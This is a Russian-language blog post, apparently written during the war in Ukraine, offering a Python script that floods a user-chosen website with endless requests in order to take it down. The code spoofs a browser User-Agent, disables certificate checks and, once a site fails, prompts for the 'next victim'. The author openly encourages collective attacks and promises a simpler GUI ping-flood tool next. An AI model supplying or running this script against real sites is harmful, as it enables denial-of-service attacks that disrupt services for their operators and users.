DOS-атак

Python и DOS-атаки с помощью библиотеки requests

Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.

Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы? 🙂

Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.

Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):

import requests #подключили библиотеку requests (о ней я <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">писал неоднократно</a>)
def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт
link = input(str('Link: '))
get_content(link)
def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт
i = 1
while True:
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера
r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы
print('Отправлено пакетов:', i) #Выводим статистику
i = i + 1
except:
print('Кажется, сайт', link, 'лежит. Дополнительная проверка...') #Лег сайт? Проверим на всякий случай :) 
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)
r_answer = r.content
print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) 
get_link()
except:
print('Точно лежит :) Выбираем следующую жертву.')
get_link()
while True:
get_content(get_link())
get_link()

Спасибо за внимание 🙂 Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.

Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!

Support the Blog!

Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️

PayPal Logo Donate via PayPal

Revolut Logo Donate via Revolut